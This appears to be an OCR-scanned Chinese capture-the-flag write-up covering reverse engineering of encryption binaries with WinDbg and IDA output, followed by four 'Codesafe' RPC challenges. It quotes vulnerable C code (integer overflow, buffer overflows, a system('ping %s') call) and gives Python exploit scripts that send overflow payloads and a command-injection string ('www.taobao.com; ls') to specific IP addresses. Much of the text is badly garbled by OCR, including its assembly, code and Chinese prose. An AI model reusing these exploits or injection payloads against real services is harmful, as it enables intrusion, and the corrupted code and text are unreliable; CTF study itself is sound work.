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o oo
push eax
lea eax, [esp+28h+var_C]
mou large fs:8, eax
mou edi, ecx ; edi from ecx
®0r esi, esi
cmp [edi+4], esi
jz loc_4134C8
Y
s =
push offset atb 5 ub™
push offset aSecret_db ; "Secret.db”
call _fopen
mou ebp, eax
add esp, 8
cmp ebp, esi
jz short loc_4134C8
Y
s =
mov eax, [edi+8]
mou ecx, [edi+4]
push eax
push BCx ; crypto1_data from edi+h
lea edx, [esp+3Bh+data addr]
push edx
lcall  data_handle |
add esp, BCh
mou [esp+28h+var_ 4], esi
mou eax, [esp+28h+data addr]
mou ebx, [eax-6Ch]
test ebx, ebx
jg short loc_4134D8
vy
@ ea =
loc_4134D8:
test esi, esi
jl short loc 413504
Y
@ ea =
cmp esi, [eax-8Ch]
ig short loc 4135084
Yy Y
@ ea = @ e =
mou al, [esi+eax]
loc_413504: push ebp ; FILE =
push 808087 08057h push 1 ; size t
call sub_L4AB5FBBA| [lea ecx, [esp+3Bh+var_11]
write secret endp push 1 ; size t
push eCx ; woid =
mou [esp+3&h+var_11], al
call _Furite
inc esi
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EAX BOBBOB6A w
EBX BAABA3EA
ECX BO153FES
EDX BAZEEF3C
ESI BoBo0OE0BAA
EDI BAZEF914
EEP BOF16820
ESP BAZ2BEF18
EIP BOBEF3459

debuqgf23:86153FES
debuqg833:86828EF3C

debuqg833:0828F914
.data:@eF1560980
debuq@33:0028EF18
urite secret+59
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loc_EDSAB3: ; jumptable B064658A1 default case
lea edi, [esi+8F4h] ; edi from [esi+@8F4]
mou ecx, edi
call cryptol : cryptol
mou ecx, edi : ecx from edi
call write secret
mou edx, [esi+14h]
mou [edx+344h], ebp
mou eax, [esi-338h]
push 1 ; uIDEvent
push eax ; hund
call ds:KillTimer
mou [esi], ebp
L J
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mou [esp+1&Ch+var_4], 8
mov cl, a6Ch

mov bl, 31h

mou [esp+18Ch+var_44], bl
mou [esp+18&Ch+var_2A], bl
mov dl, 3%9h

mou [esp+1&Ch+var_41], cl
mov al, 77h

mou [esp+18&Ch+var_2F], cl
mov ecx, [esi]

mou [esp+18Ch+var_43], dl
mou [esp+18Ch+var_34], al
mou [esp+18&Ch+var_31], al
mou [esp+18&Ch+var_27], dl
mou [esp+18Ch+var_42], 64h
mou [esp+18&Ch+var_48], 6Fh
mou [esp+1&Ch+var_3F], 2Ah
mou [esp+18&Ch+var_3E], 25h
mou [esp+18&Ch+var_3D], 41h
mou [esp+18&Ch+var_3C], u4Fh
mou [esp+1&Ch+var_3B], 2Bh
mou [esp+18&Ch+var_3A], 33h
mou [esp+i1&Ch+var_39], 6%h
mou [esp+i1&Ch+var_38], 3Bh
mou [esp+i1&Ch+var_37], 37h
mou [esp+i1&Ch+var_36], 42h
mou [esp+i1&Ch+var_35], 61h
mou [esp+i1&Ch+var_33], 65h
mou [esp+i1&Ch+var_32], S4h
mou [esp+i1&Ch+var_38], 2Eh
mou [esp+i1&Ch+var_ZE], 63h
mou [esp+i1&Ch+var_2D], 21h
mou [esp+i1&Ch+var_2C], 2%h
mou [esp+i1&Ch+var_2B], 36h
mou [esp+i1&Ch+var_29], u4Bh
mou [esp+i1&Ch+var_ 28], 7Bh
mou [esp+i1&Ch+var_26], SEh
mou [esp+i1&Ch+var_25], 35h
mou eax, [ecx-8Ch]

mou [esp+i1&Ch+var_178], eax
cdq
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#gen_crypto_table.py
import os
fpl

fp2
fp3

open('flag.txt','r")

open('flag.crpyt','rb")
open(‘'data.txt','a")

O 00 N O U1 b W N P

textl=fpl.read()
text2=fp2.read()
data_length = len(textl)

R R R R
w N R e

for i in range(@,data_length):
data=textl1[i] + ' ' + text2[2*i] + text2[2*i+1l] +'\n'
fp3.write(data)

R R R R
N o oun b

fpl.close()
fp2.close()
fp3.close()

[
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1 #gen_flag.py

2 import os

3

4 fpl = open('data.txt','rb")

5 fp2 = open('final-flag.crpyt','rb")
6

7 fp3 = open('result.txt’,'w")

8

9 textl=fpl.read()

Jany
()

text2=Ffp2.read()
data2_length = len(text2)

=
=

12 datal_length = len(textl)

13

14 #print datal_length

15 #for j in range(0,18,6):

16

17

18 for i in range(@,data2_length,2):

19 target = text2[i:i+2]

20 for j in range(@,datal_length,6):

21 tmp = textl[j:j+4]

22 if(target==tmp[2:]):

23 print repr(target[0]),repr(target[1]),repr(tmp[2]),repr(tmp[3])
24 fp3.write(tmp[0])

25 break;

26

27

28 fpl.close()

N
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fp2.close()
fp3.close()

w
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@ e =
sub rsp, OFFFFFFFFFFFFFFE0h
jmp near ptr dword 148881FFC
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(l?fB lcdc) Aooess violation — code 0000005 (flrst Chance)

First chance exceptions are reported before anvy exception handling.

Thi=z exception may be expected and handled.

*%% IMARNING: Unable to verify checks=um for image00000001°3£390000

#x%% ERROFE: Module load completed but Symbals could not be loaded for imege00000001° 3£390000
nooooooo-ooooooon e

EE K EHE L

0:000y kv

Child-SF RetAddr : Args to Child : Call Site

00000000°0023£3c8 00000001°3£391943 « 00000000° 00000100 00000000 00000000 00000000° 00109360 00000000 00000000 - O=0

000000007 0023£3d40 000000017 3£3916d7 : 00000000 00000111 00000000 00390802 00000000 00310596 000007£f2° 00000001 © inage00000001_3£39000040x1943
000000007 0023£400 00000000 77109bd1 000000007 00000111 00000000°0039080a 00000000° 00000001 00000000°77109b43 image00000001_3£330000+0x16d7

00000000°0023£430 000000007 77106428 : 000000007 00872210 00000001 3£3916a0 00000000 fffffedl 000000007 002310596 : USER3IZ!UserCallWinProcCheckWow+lxlad

00000000 0023£4£0 00000000 77106bad : 00000000 00390802 00000000 00000111 00000000 00000064 00000000 00938130 : USER3Z|SendHessageWorker+0x682
00o0o0o00° 0023£580 00000000°7712ed4ce ¢ 00000000 00938130 00000000° 77182708 00000000 00000000 00000000° 7727716 © USER3Z!SendHessageW+0x5c
000oo0000T0023£5d40 000000007 7711cd?8 @ 00000000 00000000 00000000 00938130 00000000 00000000 00000000 00000040 : USER3Z!zxxBNReleaseCapture+lzdba
oooooo00t0023f640 00000000 77112948 00000000° 0023£8b0 00000000 00000007 00000000 00000000 00000000 770f£5fh USER32 | But tonWndProcWorker+0x151b
00000000t 0023£790 000000007 77109641« 00000000 00000000 00000000° 00000001 00000000 00000000 000000007 00000000« USER3Z2!ButtonWndProci+0x69

0o0oo0oo0T0023£740 00000000 771098da © 00000000 0023£930 00000000° 7727716 00000000 0000000 000000007 00938130 : USER3Z!UserCallWinProcCheckWow+Oxlad

00000000 0023£6890 00000001°3£391460 00000001 3£390000 00000001 3£390000 00000000° 7727716 00000000 00000000 USER3?2 | DispatchMessagelorker+0x3bs
000o0000°00223£910 000000017 3£391e% 0 @ 000000007 00000001 00000001 3£391000 00000000°76£d429£0 000007fe"£d362f1b : image00000001_3£390000+40x146b
000oo0000T0023£970 00000000 76fe59ed : 00000000 00000000 00000000 00000000 00000000 Q0000000 00000000 00000000 @ image00000001_3£390000+40x1eSa
00000000t 0023£a20 000000007 7721541 ¢ 00000000 00000000 00000000 00000000 00000000 00000000 00000000° 00000000 © kernsl32!BaseThreadInitThunk+0=d
ooooooo0-0023£a50 000000007 00000000 : O00OOOOQOO" 00000000 0OOOOOO0 00000000 00000000 Q0000000 000000007 00000000 @ ntdll!RtlUserThreadStart+0xld

RIFEFEbase_address+0x1943hficall raxHi 4, 41K w.

0:000> kv

Child-5SF Retiddr Arg= to Child Call Site

000000007 0023£3c8 000000017 3£391943 : 000000007 00000100 00000000 00000000 00000000° 00109360 00000000° 00000000 @ O=0

000000007 0023£3d0 00000001 3£3916d7 : 00000000 00000111 00000000° 00330802 00000000 00310596 000007£f2° 00000001 : inage00000001_3£390000+0x1943
0oo0o0o0°0023£400 00000000° 77109041« 00000000 00000111 00000000 0039080a 00000000 00000001 000000007 7710%b43 @ inage00000001_3£390000+0x16d47

000o0000°0023£430 000000007 77106428 : 000000007 00872210 00000001 3£3916al0 00000000 £f££fffedl 000000007 00310596 : USER3IZ!UserCallWinProcCheckWow+Oxlad

00000000 0023£4£0 00000000° 77106bad 00000000°0039080a 00000000 00000111 00000000 00000064 0OO000000° 00938130 USER3? | SendHessageWorker+0=x682
00000000 00223£580 000000007 7712:4ce @ 000000007 00938130 00000000 77182708 000000007 00000000 00000000°772771ec : USER3Z2!SendMessageW+0=zbc
00oo0oo00023£540 00000000 7711cd?8 @ 00000000 00000000 00000000 00938130 00000000 00000000 00000000 00000040 : USER3Z|xxxBNReleaseCapture+lxzdSa
oo0oo0000"0023f640 00000000 77112948 00000000 0023£8b0 00000000 00000007 00000000 00000000 00000000 770f£5fh USER32 | But tonWndProcWorker+0x151b
000o00o0° 0023£790 000000007 771090d1 : 00000000 00000000 0OOOOQOOO 00000001 000000007 00000000 000000007 00000000 : USERZZ!ButtonWndProci+0ze9

0oooooo0r0023£740 00000000 771098da © 00000000 0023£930 00000000° 7727716 00000000 0000000 00000000 00938130 : USER3IZ|UserCallWinProcCheckWow+Oxlad

00000000t 0023£890 00000001 3£39146b ¢ 00000001 3£390000 00000001 3£390000 00000000 7727716 00000000° 00000000 : USER3Z2!DispatchMessagelorker+0=3bh
000o0000°0023£910 00000001 3£391e%a © 00000000 00000001 00000001 3£391000 00000000°76£d429£0 000007fe"£d362{1b : image00000001_3£39000040x146b
000o00000° 0023£970 00000000° 76fe59:=d 0o00oo0000° 00000000 00000000 00000000 00000000 00000000 00000000 00000000 inagel0000001_3£3930000+0x1e9a
00oo00o0°0023£420 000000007 7721c541 @ 00000000 00000000 00OOOOQOOO QOOQOOO0D 00000000 00000000 000000007 00000000 : kernsl3dZ!BaseThreadlnitThunk+0xd
oooooooo-t0023£a50 00000000 00000000 : 000OOOOQOO" 00000000 0OOOO0O0" 00000000 00000000 00000000 00000000 00000000 : ntdll!RtlUserThreadStart+0xld

il FHUPXXch3.exefift [, il I t )5 R ) ch3.exe SR A BhBA 10 M o ARYE A ik, € AL BIRE 7 i 517 B

MR,

muy Tus, rs>a.

call sub_14886818608

lea rcx, LibFileName ; “DecryptDll.d1l™
mov ebx, eax

call cs:LoadlLibraryW

lea rdx, ProcHame s "RSADecrypt™
mov recx, rax ; hiodule

mou rdi, rax

call cs:GetProcAddress

lea red, [rbp+48h]

xor r8d, réd

mov edx, ebx

mou rcx, rsi

call rax

mov ecx, 1

test eax, eax

cmounz ebp, ecx

mou rcx, rsi

call cs:_ imp ??3@YAXPEAREZ ; operator delete{void =)
mou rcx, rdi ; hLibHodule
call cs:FreelLibrary

mou rbx, [rsp+28h+arg_Aa]

man eod MNecn+?%hs+aea 101

/|



RIS F DecryptDIlLdIIFF (f)RSADecrypted 51, Mi#E R4 b #EA XA, &

U Kcall raxitiél . fEF

) 7 UPXEEAT 4, FEMAR IS 28 OIS ik vl fe 8 1 X8 8dle, RAAE, B ME R

000000017 3£35970a8 4d 52 50 00 03 00 OO0 00 04 00 00 00 ££ ££ 00 00 MZ
goooooo01lt 3£3970b3 b3 00 OO0 OO OO OO OO0 OO0 40 00 OO OO OO OO0 OO0 0O @ ..
00000001 3£35970=8 00 00 00 0O OO OO OO0 00 00 00 00 00 0o OO0 0o oo ..
goooooolt3£397048 00 00 00 OO0 OO OO OO0 00 OO0 OO OO 0o 10 01 00 oo ..
000000017 3£35970e8 0= 1f ba O= 00 b4 09 cd 21 b8 01 4c cd 21 54 62 ..
00000001 3£3970£8 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6= 6= 6f 1is

programn canno

00000001 3£3597108 74 20 62 65 20 72 75 6= 20 69 6e 20 44 4f 53 20 t be run in DOS
000000017 3£397118 6d 6f 64 65 2= 04 04 0a 24 00 00 00 00 00 00 00 mods. ... $.......
000000017 3£3597128 37 59 7d <2 73 38 13 91 73 38 13 91 732 38 13 91 7¥}.=8..=8. .=s8..

00000001°3£397138 =0 76 8b 91 72 38 13 91 1c 4= 8d 21 71 38 13 91 .w.
00000001°3£3597148 1c 4= b9 91 78 38 13 91 1c 4= 8f 91 77 38 13 91 . N.

00000001 3£397158 1o 42 b8 91 Y6 38 13 91 7a 40 80 91 7a 383 13 91 . H
000000017 3£3597168 73 38 12 91 £1 38 13 91 62 ab 8d 91 79 38 13 91 =8

00000001 3£397178 68 a5 b9 91 40 39 13 91 68 a5 bo 21 70 38 13 91 h. .

00000001°3£3597188 68 ab 88 91 72 38 13 91 68 ab 8= 91 72 38 13 91 h

.r8.. H..gd. .
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00000001 3£397198 52 69 63 68 73 38 13 91 00 00 00 00 OO0 00 OO0 00 Richs®....... ...

0ooooo01t3£357148 00 00 00 00 OO OO OO 0O OO 00 OO0 00 00 OO0 00 oo ..

00000001 3£3971b8 50 45 00 00 64 86 06 00 4d 58 1a 54 00 00 00 00O FE..

000000017 3£3571=8 00 00 00 00 £0 00 22 20 Ob 02 0= 00 00 bc O6 OO ..
ooooooo1lt3£397148 00 26 05 00 00 OO0 OO0 OO0 34 01 06 0O 0O 10 0O OO &
00000001 3£3571=8 00 00 00 80 01 00 OO 0O OO0 10 00 00 00 02 00 o0 ..
gooooool-3£3971€8 05 00 02 00 OO OO OO0 OO0 OS5 OO0 02 OO OO OO OO0 oo ..
0ooo0oo01°3£397208 00 40 Oz 00 OO0 04 OO0 OO0 a3 deo 0Oc 00 02 00 40 01 @
goooooo01t3£357218 00 00 10 00 OO OO OO 0O OO 10 00 00 00 OO0 0o oo ..
goooooolt3£397228 00 00 10 00 OO OO0 GO0 00 00 10 OO OO OO OO0 0o oo ..
0o0oo001"3£357238 00 00 00 00 10 00 OO0 00 <0 29 09 00 4c 00 0O OO0 ..

00000001 3£397248 34 2= 09 00 78 00 00 00 00 00 0= 00 B4 O1 00 0O 4. ..

0o00o001"3£357258 00 80 Ob 00 44 73 00 00 00 00 00 00 OO0 0O 00 o0 ..
00000001t 3£397268 00 10 Oc 00 90 29 00 00 OO 0O OO 0O OO OO OO OO0 ..
0oooooo01-3£357278 00 00 00 0O OO OO OO OO OO 00 00 00 00 OO0 00 oo ..
goooooolt3£397288 00 00 00O OO OO OO OO OO OO 0O OO OO OO OO OO oo ..
0oooooo01t3£357298 00 00 00 0O OO OO OO 0O 0O dO Oe OO bO O3 0O OO0 ..
0ooooool1t3£3972a8 00 00 00 00 OO OO OO OO OO OO OO OO OO OO0 OO0 oo ..
00000001 3£3572b8 00 00 00 00 OO 0O OO0 00 2= 74 65 782 74 00 00 00 ..
00000001 3£3972=8 af bb 06 00 00 10 00 00 00 bc O6 OO OO 04 OO OO0 ..
0oooooo01t3£357248 00 00 00 0O OO OO OO 0O OO 0O 00 00 20 00 00 e ..

00000001 3£3972=28 2= 72 64 61 74 61 00 00 Oz 6a 02 00 00 dOo 06 00 .rdata...j...::.

00000001 3£35972€8 00 6 02 00 00 0O O OO OO OO OO 0O OO0 00 OO0 o0 .
ooooooo01t3£397308 00 00 00 OO 40 00 OO0 40 2= 64 61 74 61 00 00 0O ..

00000001°3£3597318 68 34 02 00 00 40 09 00 00 14 02 00 00 2c 09 00 h=..

goooooolt3£397328 00 00 00 OO0 OO OO0 OO0 OO0 OO0 OO OO OO 40 00 00 O ..

000000017 3£3597338 2= 70 64 61 74 61 00 00 d4 73 00 00 00 20 0Ob 00 .pdata...s....::

ooooooo1lt3£397348 00 74 00 00 00 40 0Ok OO0 00 00 00 0O OO OO OO OO . t...

00000001 3£357358 00 00 00 00 40 00 00 40 22 72 72 72 63 00 00 00 ..
00000001 3£397368 b4 01 00 00 OO0 00 Oc OO OO 02 00 0O OO0 B4 Ob OO ..
0ooooo01t3£357378 00 00 00 0O OO OO OO 0O OO0 00 00 00 40 00 00 40 ..

d.. HE.T
T B
AR )
8L

- S
LR
T
.. temt. ..
@ .0 data. . .

L
.......... @,

@

@..@. rsrc

Y B

00000001 3£397388 6= 2f 00 00 00 10 Oc 00 .reloc. .ns. ... ..
1]

00000001 3£3597398 oo oo 00 oo 00 oo 00 oo
00000001 3£397328 00 00 00 OO0 40 00 O0 42 00 OO0 OO0 OO OO 0O 0O 0O

00000001 3£3973L8 00 00 00 00 OO OO0 00 OO0 OO0 00 00 OO0 00 00 00 OO0 . ...

nonnnonnit*2¢23973-8 N0 nn nn nn on o nn o nn nn nn nn nn nn non nn onn nn

% B 7 (00000001 3f3970a8—00000001"3f3970a8+0xbbe00-1) &

= -I. T Nl Al et oL S o
MR, A7 RS, WRETR.
(1924 1£18): Access violation — code 0000005 {(first chance)
First chance exception= are reported before any exception handling.
Thi= exception may be expected and handled.
*%% ERREOR: Symbol file could not be found. Defaulted to export =vmbols for C
HSVCR100 | mencpy+0x63

, % NDecryptDLL.dIl.

JzerstwangxintDesktop™

PDDDDDDD‘?SthECS 4858901 b=l gqword ptr [rocx].rax ds:00000000° 00000000=22222992999997297

RRIEH AN s o

0:0005 kv ) )
Child-SP Retiddr . Args to Child

00000000° 001ce3ld 000007fe dfc®3999 @ 00000000 00000014 00000000 000000eb 00000000 005as2b0 00000000 000000eb

00000000° 001ce320 000007fe dfc83£53 @ 00000000 00522138 00000000 00522136 00000000 00000001 00000000 f£E££4£F

00000000° 001cedel 000007fe dicB2e8d @ 00000000 00529360 00000000 00529360 000000007 00000000 00000000 00525900
00000000° 001ce490 000007fe " dfc8154e @ O00000000° 00547220 00000000 00000100 00000000 00000000 00000000 005a6c00

#xx WARNING: Unable to werify checksum for image00000001° 3£840000
#%x FRROR: Hodule load completed but symbols could not be loaded for image00000001°3£840000

00000000° 001ced4dl 000000017 3£841942 © 00000000 00000100 000007fs"dfc813e0 00000000 00529360 00000000 00000100
00000000 001=£170 00000001 3£8416d7 © 00000000 00000111 00000000 0032080 000000007 0024098 000007f= 00000001
00000000° 001ef1al 000000007 77109d1 © 00000000 00000111 00000000° 0032080 000000007 00000001 00000000° 77109043
00000000° 001=f1d40 00000000 77106028 © 00000000 00205040 00000001 3£f8416a0 00000000 f££4fedl OOO00O00 00240988
00000000° 001=£290 000000007 77106bad : 00000000 003a080a 000000007 00000111 00000000 00000064 00000000 00984430
00000000 001=£320 00000000°7712edce @ O0000000° 00984430 000000007 77182708 000000007 00000000 00000000 7727716
00000000° 001=£370 00000000°7711cd?8 @ 00000000  OOOOOOOO QOOOOOOO" 00924430 00000000 00000000 OO000O0OOD"QOOOOO4O
00000000° 001cf3e0 00000000°771129d8 : 000000007 001cf650 Q0O000O0 00000007 OQOOOOOOOT 00000000 00000000 770££5£b
00000000° 001=£530 00000000°77109bd1 : 00000000 OOOOOOOO QOOOOOOO 00000001 QOOOOOOOT 00000000 OO0000000°QooOOOOOO
00000000° 001cf570 00000000°771098da © 000000007 001cfed0 QOO000OO0"7727716c 00000000 00000002 00000000 00924430
00000000° 001cf630 000000017 3£84146b : 00000001 3£840000 00000001 3£2840000 Q0000000 7727716 00000000 OOOOOOO0
00000000° 001cf6b0 00000001 3£841e9a © 00000000 00000001 QOOO0O0OO1"3£2841000 Q0000000 76£d29£0 000007fe" £d362ilb
0o0000000° 001ef710 00000000 76fe59=d : 00000000 00000000 OOOO0000° 00000000 OOO000000° 00000000 00000000 00000000 -
0o0000000° 001ef7e0 000000007 7721541 @ 00000000 00000000 OO000000° 00000000 00000000 00000000 00000000 00000000 -
00000000° 001ef7£0 00000000 00000000 : 00000000° 00000000 00000000 00000000 OO0000000° 00000000 00000000 00000000 -

: Call Site
HSVCR100 ! mencpy+0x63

: DecryptDl]l |RSADecrypt+0=x125b9
DecryptDl]l | RSADecrypt+0=2b73
DecryptDl]l | ESADecrypt+0=laad

DecryptDl]l | ESADecrypt+0xzlie
imagel0000001_3£240000+0=1943
imagel0000001_3f840000+0=16d47

TSER32 | UserCallVinProcCheckWov+0xzlad
USER32 | Sendies=sagelorker+0=682
USER32 | Sendles=sagel+0xz5c

TSER3 2 | zxxBNReleas=sCapture+0=z4ta
USER32 | But tonWndProclWorker+0x151b
USER32 | But tonWndProclU+0x69

USER32 | UserCal lVinProcCheckWow+0xlad
TSER3Z | Dispatchiessagelorker+0x3ibE5
imagel0000001_3f840000+0x146hb
imagel0000001_3f&840000+0x1e9a

kernel 32 |BaseThreadIni tThunk+0=d
ntdll I Rt1UserThreadStart+0xld
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FERDAT I8 )

ik 2 H 7ERSADecrypt g Z ) A F, X AL 224402 50rex. rdx. r8.
pEncryptBuffer. BufferLength. pOutDecryptBufferfiiflag
8B R A1 BN A7 BN AT 1R FE 7 1E

173X L 5

o.000: r

rax=000007f==0bb13=0
rdz=0000000000000100
rip=000000013fbc1941
r8=0000000000000000
r1l=000000000021f462
rld=0000000000000000

rhx=0000000000000100
rei=0000000000439730
r=p=000000000021£570

r9=0000000000000040
rlZ2=0000000000000000
rl15=0000000000100=48

r9, A1 Hl&oR
1ZIS9HEI 118 B DecryptDIIH RSADecrypt ik 5 i i

Wis T, WEPR.

rcx=0000000000433730
rdi=000007fe=0bb0O000
rhp=0000000000000000
r10=0000000000255150
r13=0000000000000111

iopl=0 nv up 21 pl zr na po nc
c==0033 ==s=002b ds=002b es=002b {==0053 g==002Zb ef1=0000024¢6
imagel0000001_3fbe0000+0x1941 :
oooo0o0l-3fbcl1941 ££d0 call rax {DecryptDll | RSADecrypt (000007f="=0bbl3e0)}
0:000: v r8=000000013fbc2970
o.o000: g
HodLoad: 000007fe"fa720000 000007fe"fa736000 C WUindowsssysten32~NETAPI3Z DLL
ModLoad: 000007fe"£a2710000 000007fe" £a71c000 CoMindovstsystend2~netutil=s . dll
HodLoad: 00000%7fe’ fche0000 000007fe" fchB83000 C: ~Windows systemd2™=srwcli dll
ModLoad: 000007fe"fa580000 000007fe"£a595000 CoMindovstesystend 2 ywleoli dll
Breakpoint 2 hit
image00000001_3fbe0000+021943;
oooooonl - 3fbel1943 bB901000000 j Tm-d ecx, 1l
0:000: db 000000013fbes2970
oooo0o0l - 3fbc2970 &b 2a 26 3= 28 64 61 33-30 G5f 71 2d 28 70 6b 64 l#é»{da3l_g-i{plkd
nooooonl - 3fbe2980 32 33 40 2c 00 00 OO0 OO-00 OO OO OO 0O OO 0O OO 23@, . .. .. .. .. ...
oooooo0l-3fbc2990 00 00 OO0 00 OO0 00 OO0 OO-00 OO0 OO0 00 00 00 00 00 ... .. ... .......
Codesafe
1. Rpci
A fifErpe_function 1e8 %0, Wi NRTR

struct stc temp;
unsigned short tl,mtl;

char #*mt;
int i:
if(request->len data != sizeof(temp))
{
char *message = "Something is wrong.™;
return create_ response (strlen(message), message);
}

memcpy (Etemp, request-»>data,request->len data):

tl = strlen(temp.t)
if(tl = || temp.mtt > || temp.mtt =
{

roro .
WO P

char *message = "Something 1

retuorn create Iespoqsetstrleqtnessage}, message) ;

}

mtl = temp.mtt * £l + 1;
(char*)malloc {(mtl) ;
if (mt)

{

mt =

strcpy(mt,temp.t)
;1 < temp.mtt;it+d)
strcat (mt,temp.t)

for(i =

X B r] BEAE T B K 84, mitli2 —~unsigned short,
& temp.mtt=20011 I {5, IR mtl {1 25881265535, 3 mallocsiEL i
N

HAMWAT,
ZHIE ),

7RIS G SR Ay 32 F) R s A tl=

=512
MR H o FH LT AR 3



1 #rpcl.py

2 from socket import *
3 import struct

4

5 class TcpClient:

6 HOST='223.6.252.25"

7 PORT=30000

8 BUFSIZ=1024

9 ADDR=(HOST, PORT)

10 def __init_ (self):

11 self.client=socket (AF_INET, SOCK_STREAM)
12 self.client.connect(self.ADDR)

13

14 while True:

15 token="A"*32

16 dd="A"*512

17 data=struct.pack('B',len(token))
18 data+=token

19 data+=struct.pack('B',1)

20 data+=struct.pack('>I',514)

21 data+=struct.pack('<H',200)

22 data+=dd

23 self.client.send(data)

24 data=self.client.recv(self.BUFSIZ)
25 if not data:

26 break

27 print (' \%siEEE: %s' %(self.HOST,data))
28 break

29

30 if __name__ == "'__main__":

31 client=TcpClient()

2. Rpc2
X8 @ifErpe_function 2%, NN

char buffer[512];
int len = request->len_data;

sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v);
return create_response(strlen(buffer),buffer);

ha) A I O B IEAT AT A ER 23, R X AR AL R B fR A Blbufferth,  Tibufferf) K/ L6127
T, linek B FMIZEE, R X B Aline 180 K 85128008 X Mg AL 47 R R F51281 7] . Bk
BRI s



1 #rpc2.py

2 from socket import *
3 import struct

4

5 class TcpClient:

6 HOST="'42.120.63.194"'
7 PORT=30000
8 BUFSIZ=1024
9 ADDR=(HOST, PORT)
10 def __init_ (self):
11 self.client=socket (AF_INET, SOCK_STREAM)
12 self.client.connect(self.ADDR)
13
14 while True:
15 token="A"*32
16
17 dl="A"*63+"'="+"21"*8
18 d2=' '*(512-len(d1)) + di
19
20 data=struct.pack('B',len(token))
21 data+=token
22 data+=struct.pack('B',2)
23 data+=struct.pack('>I',512)
24
25 data+=d2
26 self.client.send(data)
27 data=self.client.recv(self.BUFSIZ)
28 if not data:
29 break
30 print (' M\%sEEE: %s' %(self.HOST,data))
31 break
32
33 if _name__ == "'__main__":
34 client=TcpClient()

3. Rpc3

X — i) fifErpe_function 28 %, AliCodesafe 225100, #iS&sprintfid i i i) B8, 1K s .

functioné{t.szUrl, "htop", &h, &pt, &p);
switch(t.v)
{
case :
{
if(c.len !'= 0 || stromp(h, "Laohao.zom™) 1= 0)
r = NUOLL;
else
r =p;
break;
}
case -:
{
if{t.len != strlen(t.szUrl)})
r = NULL:
else if(strcmp(h,"Grakaks sam”) = 0}
{
r = (char*)malloc (258}
sprintf{r,"/temporary folder/2014-08/%=",p):
1
else if(strcmp(h,"Gaakaha ang - 22m") = 0}



FE EEREOESY, rif R/ 25657, T ph £ i id function6dE A7 AL B ), R ZAR IMEAERX )74 5O/ INE
256 72 A7 RV a] fipk % i A o

wvold functioné (char*URL, char¥*protocl,char** host,unsigned int *port,char¥* abs path)

=

if (URL == NULL)
return ;
char #url dup = strdup(URL) ;
char #*p slash = NULL:
char #*p colon = NOULL:
char #*start = O;
if(strncmp (url dup,protocl,strlen(protocl) )==0)
= {
start = url duptstrlen(protocl)+::
p_slash = strchr(start,'/"}:
if(p_slash != NOLL)
= {
*ahs_pat]i= strdup (p_slash) ;
*p slash = "\0';
E }
el=e
=l {
*abhs path= strdup("/"):
E }

7&_FEfunction6, FATH LA Blpsk B Ft.szUrl i http://” 2 JG 585, X FEFRATE AT DAR I an R #di



1 #rpcd.py
2 from socket import *
3 import struct
4 import time
5
6 class TcpClient:
7 HOST="223.6.253.103"
8 PORT=30000
9 BUFSIZ=1024
10 ADDR=(HOST, PORT)
11 def __init_ (self):
12 self.client=socket (AF_INET, SOCK_STREAM)
13 self.client.connect(self.ADDR)
14
15 while True:
16 token="A"'*32
17 data=struct.pack('B',len(token))
18 data+=token
19 data+=struct.pack('B',2)
20
21 flag_v=2
22 stc="\x48\x48\x00\x00"' #mn
23 stc+=struct.pack('I',int(time.time())); #ts
24 stc+=struct.pack('I',flag _v) #v
25 stc+="sdatsts-afu"+"\x00"*(16-1len("sdatsts-afu")) #k
26 url="http://alibaba.com/"+"A"*(256-1len("http://alibaba.com/"))
27 stc+=struct.pack("I",len(url)) #len
28 stc+=url+"\x00"*(256-1len(url)) #szUrl
29
30 data+=struct.pack('>I',len(stc))
31 data+=stc
32 self.client.send(data)
33 data=self.client.recv(self.BUFSIZ)
34 if not data:
35 break
36 print (' M\%siEEE: %s' %(self.HOST,data))
37 break
38
39 if __name__ == '_main__"':
40 client=TcpClient()

4. Rpc4

X — @) EifErpe_function 1B+, FE—ANET 1SRRI, W FFR.



if (strcmp (szUser, "adnin") = 0)

{
function3(szPas=, "gdnin" ,value) ;
if (strcmp (value, "ALIEREA") == [)
login = 1;
else
printf("%= login failed!",szUser):;
login =
}
else
{
function3 (szPass, "guest" ,value) ;
if (strcmp (value, "ALIEREA") == [)
{
login = 1;
functionl (szUser) ;
}
else
{
printf{"%=s login failed!\n",szUser);
login = 0;
}
}
if(login = 1 && strcmp(szUser, "gdmin"™) = 0)
{
char cbuffer[512];
snprintf {cbuffer, 512 ,"ping %=",temp.buffer);
system{cbuffer) ;
char* info = "Ping executed.™;
return create response(strlen(info), info):;
}
el=e
i

fE LUK, Befg U F systemk B AT Ha e R 4, MARBERIAIX %1%, W41k login==1 &&
stremp(szUser,”admin”)==)"1X 2614, 5 & ik &£ szUser=="admin” fllvalue="ALIBABA" X }§ > 4614, ELAKII%L
PEHE a0 T R



1 #rpcd.py

2 from socket import *
3 import struct

4

5 class TcpClient:

6 HOST="'223.6.251.166"
7 PORT=30000
8 BUFSIZ=1024
9 ADDR=(HOST, PORT)
10 def __init_ (self):
11 self.client=socket (AF_INET, SOCK_STREAM)
12 self.client.connect(self.ADDR)
13
14 while True:
15 token="A"*32
16
17 data=struct.pack('B',len(token))
18 data+=token
19
20 data+=struct.pack('B',1)
21 data+=struct.pack('>I',512)
22
23
24 user="admin'+"' '*64+'admi' #stc2.user
25 u_pass="urejhvg' #stc2.pass
26 ins="www.taobao.com; 1ls' #stc2.buffer
27 datal=user+"\x00"*(128-1len(user))+u_pass+"\x00"*(128-1len(u_pass))+ins+"\x00"*(256-1len(ins))
28
29 data+=datal
30
31 self.client.send(data)
32 data=self.client.recv(self.BUFSIZ)
33 if not data:
34 break
35 print (' M\%siEEE: %s' %(self.HOST,data))
36 break
37
38 if __name__ == '__main__
39 client=TcpClient()

W TPRZIG, MR T XA UL L RS RS A AR 2D R, 7”3% HA I.codesafe il i Hisocket
WEH K, reversed. SRAEJERA mid, RO LA, MAEAHEE Pk, . .

U

4T :https://www.cnblogs.com/wal613/p/3986347.html
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